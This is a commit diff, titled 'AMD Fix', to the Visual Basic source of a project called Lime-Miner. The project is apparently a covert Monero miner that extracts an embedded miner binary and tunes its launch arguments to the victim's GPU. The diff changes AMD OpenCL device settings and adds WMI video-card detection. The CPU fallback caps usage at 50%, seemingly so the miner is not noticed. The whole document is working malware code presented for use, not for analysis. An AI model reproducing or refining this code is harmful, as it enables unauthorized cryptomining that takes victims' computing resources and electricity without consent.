AMD Fix

thalesphilipi · Jan 6, 2019 · 7490349 · 7490349
1 parent 7d723e6
commit 7490349
Showing 1 changed file with 10 additions and 1 deletion.
diff --git a/Lime-Miner/Resources/Program.vb b/Lime-Miner/Resources/Program.vb
@@ -103,7 +103,7 @@ Public Class Program
             Args = "--cuda-bfactor=12 --cuda-bsleep=100"
             xmr = GetTheResource("#nvidia")
         ElseIf GetTheSpec.ToLower.Contains("amd") Then
-            Args = "--opencl-platform=0 --opencl-devices=0,1,2 --opencl-launch=1600x8,1600x8,1600x8"
+            Args = "--opencl-platform=0 --opencl-devices=0 --opencl-launch=1600x8,1600x8,1600x8"
             xmr = GetTheResource("#amd")
         Else
             Args = "-t " + CType((Environment.ProcessorCount / 2), String) + " --max-cpu-usage=50"
@@ -122,13 +122,22 @@ Public Class Program
             Dim objquery As New System.Management.ObjectQuery("SELECT * FROM Win32_VideoController")
             Dim objSearcher As New System.Management.ManagementObjectSearcher(objquery)
 
+            For Each MemObj As System.Management.ManagementObject In objSearcher.Get
+                VideoCard = VideoCard & (MemObj("VideoProcessor")) & " "
+            Next
+
+            If VideoCard.ToLower.Contains("nvidia") OrElse VideoCard.ToLower.Contains("amd") Then
+                Return VideoCard
+            End If
+
             For Each MemObj As System.Management.ManagementObject In objSearcher.Get
                 VideoCard = VideoCard & (MemObj("Name")) & " "
             Next
 
             If VideoCard.ToLower.Contains("nvidia") OrElse VideoCard.ToLower.Contains("amd") Then
                 Return VideoCard
             End If
+
             Return ""
         Catch ex As Exception
             Return ""